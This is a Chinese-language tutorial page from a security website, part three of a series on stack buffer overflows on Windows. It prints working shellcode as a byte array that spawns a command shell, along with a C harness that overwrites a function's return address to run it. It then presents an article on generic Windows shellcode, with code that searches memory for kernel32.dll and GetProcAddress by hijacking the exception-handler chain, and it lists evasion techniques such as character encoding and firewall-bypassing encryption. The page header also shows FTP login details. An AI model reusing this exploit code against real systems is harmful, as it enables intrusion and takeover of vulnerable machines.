安全中国首页 > 文章中心 > 溢出文章
 
安全中国网友投稿专用上传FTP空间:
Ftp服务器:www.anqn.com
Ftp端口:21
用户名:anqn
密 码:anqn.com
 

堆栈溢出技术从入门到高深(三)

更新时间:2007-12-17 0:14:42
责任编辑:池天
热 点:


敲exit退出来,哎呀,发生了非法操作。Access Violation。这是肯定的,因为我  
们的  
程序已经把堆栈指针搞乱了。  

对上面的算法进行优化,现在我们可以写出shellcode如下:  
char shellcode[] = {  
0x8B,0xE5, /*mov esp, ebp */  
0x55, /*push ebp */  
0x8B,0xEC, /*mov ebp, esp */  
0x83,0xEC,0x0C, /*sub esp, 0000000C */  
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */  

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/  
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */  

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/  
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */  

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/  
0x33,0xD2, /*xor edx, edx */  
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */  
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/  
0x50, /*push eax */  
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */  

0xFF,0xD0 /*call eax */  
};  

还记得第二讲中那个测试shellcode的基本程序吗?我们可以用他来测试这个  
shellcode:  
#include <windows.h>  
#include <winbase.h>  
char shellcode[] = {  
0x8B,0xE5, /*mov esp, ebp */  
0x55, /*push ebp */  
0x8B,0xEC, /*mov ebp, esp */  
0x83,0xEC,0x0C, /*sub esp, 0000000C */  
0xB8,0x63,0x6F,0x6D,0x6D, /*mov eax, 6D6D6F63 */  

0x89,0x45,0xF4, /*mov dword ptr [ebp-0C], eax*/  
0xB8,0x61,0x6E,0x64,0x2E, /*mov eax, 2E646E61 */  

0x89,0x45,0xF8, /*mov dword ptr [ebp-08], eax*/  
0xB8,0x63,0x6F,0x6D,0x22, /*mov eax, 226D6F63 */  

0x89,0x45,0xFC, /*mov dword ptr [ebp-04], eax*/  
0x33,0xD2, /*xor edx, edx */  
0x88,0x55,0xFF, /*mov byte ptr [ebp-01], dl */  
0x8D,0x45,0xF4, /*lea eax, dword ptr [ebp-0C]*/  
0x50, /*push eax */  
0xB8,0x24,0x98,0x01,0x78, /*mov eax, 78019824 */  

0xFF,0xD0 /*call eax */  
};  

int main() {  
int *ret;  
LoadLibrary("msvcrt.dll");  

ret = (int *)&ret + 2; //ret 等于main()的返回地址  
//(+2是因为:有push ebp ,否则加1就可以了。)  

(*ret) = (int)shellcode; //修改main()的返回地址为shellcode的开始地  
址。  

}  
编译运行,得到dos对话框。  

现在总结一下。我们已经知道了在windows系统下如何获得一次堆栈溢出,如何计  
算  
偏移地址,以及如何编写一个shellcode以得到dos。理论上,你已经具备了利用堆  

栈溢出  
的能力了,下面,我们通过实战来真正掌握他。  

-------------------------------------------------------------- 

WINDOWS的SHELLCODE编写高级技巧 

作者:yuange  

unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出 
再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SHELLCODE编写一般都比 
较简单。但WINDOWS系统往往不提供登陆服务,所以溢出攻击的SHELLCODE往往要提供SOCKET 
连接,要加载程序得到SHELL等,而WINDOWS的系统调用int2e接口又不如unix系统调用int80 
规范,所以一般都使用API,而API函数地址又因为系统版本的不同而不一样,所以要编写 
WINDOWS下面比较实用、通用点的SHELLCODE比较麻烦。 

经过一段时间的思考,得到了WINDOWS下编写SHELLCODE的比教好的办法。 
1、溢出点确定。使用溢出点附近覆盖一片一个RET指令地址的办法,这样只要知道溢出 
点大致范围就可以了。 
2、SHELLCODE定位。使用ESP寄存器定位,只要前面那覆盖的RET地址后面放一个JMP 
ESP功能的指令地址就可以定位了。 
3、RET指令地址、JMP ESP功能指令地址采用代码页里面的地址,54 C3,或者FF E4 
、C3这个一个语言的WINDOWS地址固定,也很好找这个地址。 

4、SHELLCODE直接使用C语言编写,方便编写、修改、调试。 

5、SHELLCODE统一编码,满足应用条件对SHELLCODE字符的限制,用一段小汇编代码解 
码,这样编写SHELLCODE就可以不用考虑特殊字符了。 
6、通信加密,对付防火墙,实现FTP功能,实现内存直接接管WEB服务等的高级应用。 

下面主要介绍介绍编写通用SHELLCODE的办法。主要SHELLCODE里面使用的API自己用 
GetProcAddress定位,要使用库用LoadLibraryA加载。那这样SHELLCODE就只依靠这两个 
API了。那这两个API的地址又怎么解决呢,LoadLibraryA这个API在系统库KERNEL32.DLL里 
面,也可以使用GetProcAddress得到。那关键就是要找到系统库kernel32.dll和 
GetProcAddress的地址了。因为一般应用程序都会加载kernel32.dll,所以解决办法就是在 
内存里面找到这个系统库和API地址,所幸知道了WINDOWS的模块数据结构也就不难了,主要 
是增加异常结构处理 。下面是VC6.0程序代码: 

void shellcodefn() 

int *except[3]; 
FARPROC procgetadd=0; 
char *stradd; 
int imgbase,fnbase,i,k,l; 
HANDLE libhandle; 
_asm { 
jmp nextcall 
getstradd: pop stradd 
lea EDI,except 
mov eax,dword ptr FS:[0] 
mov dword ptr [edi+0x08],eax 
mov dword ptr FS:[0],EDI 

except[0]=0xffffffff; 
except[1]=stradd-0x07; 
/* 保存异常结构链和修改异常结构链,SHELLCODE接管异常 */ 

imgbase=0x77e00000; 
/* 搜索KERNEL32.DLL 的起始其实地址 */ 

call getexceptretadd 

/* 得到异常后的返回地址 */ 
for(;imgbase<0xbffa0000,procgetadd==0;){ 
imgbase+=0x10000; 
/* 模块地址是64K为单位,加快速度*/ 
if(imgbase==0x78000000) imgbase=0xbff00000; 
/* 如果到这还没有搜索到,那可能是WIN9X系统 */ 
if(*( WORD *)imgbase==’ZM’&& *(WORD *) 
(imgbase+*(int *)(imgbase+0x3c))==’EP’){ 
/* 模块结构的模块头 */ 
fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase; 
k=*(int *)(fnbase+0xc)+imgbase; 
if(*(int *)k ==’NREK’&&*(int *)(k+4)==’23LE’){ 
/* 模块名 */ 
libhandle=imgbase; 
/* 得到模块头地址,就是模块句柄 */ 
k=imgbase+*(int *)(fnbase+0x20); 
for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){ 
if(*(int *)(imgbase+*(int *)k)==’PteG’&&*(int *)(4+imgbase+*(int *)k)==’Acor’){ 
/* 引出名 */ 
k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24)); 
k+=*(int *)(fnbase+0x10)-1; 
k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c)); 
procgetadd=k+imgbase; 
/* API地址 */ 
break; 





// 搜索KERNEL32。DLL模块地址和API函数 GetProcAddress地址 
// 注意这儿处理了搜索页面不在情况。 

_asm{ 
lea edi,except 
mov eax,dword ptr [edi+0x08] 
mov dword ptr fs:[0],eax 

/* 恢复异常结构链 */ 


if(procgetadd==0) goto die ; 
/* 如果没找到GetProcAddress地址死循环 */ 
die: goto die ; 

_asm{ 

getexceptretadd: pop eax 
push eax 
mov edi,dword ptr [stradd] 
mov dword ptr [edi-0x0e],eax 
ret 
/* 得到异常后的返回地址,并填写到异常处理模块 */ 

/* 异常处理模块 */ 
errprogram: mov eax,dword ptr [esp+0x0c] 
add eax,0xb8 
mov dword ptr [eax],0x11223344 //stradd-0xe 
/* 修改异常返回EIP指针 */ 
xor eax,eax //2 
/* 不提示异常 */ 
ret //1 
/* 异常处理返回 */ 
execptprogram: jmp errprogram //2 bytes stradd-7 
nextcall: call getstradd //5 bytes 

}  

上一页 1 2 

 
相关文章
一日一文章
 
一日一软件
一日一动画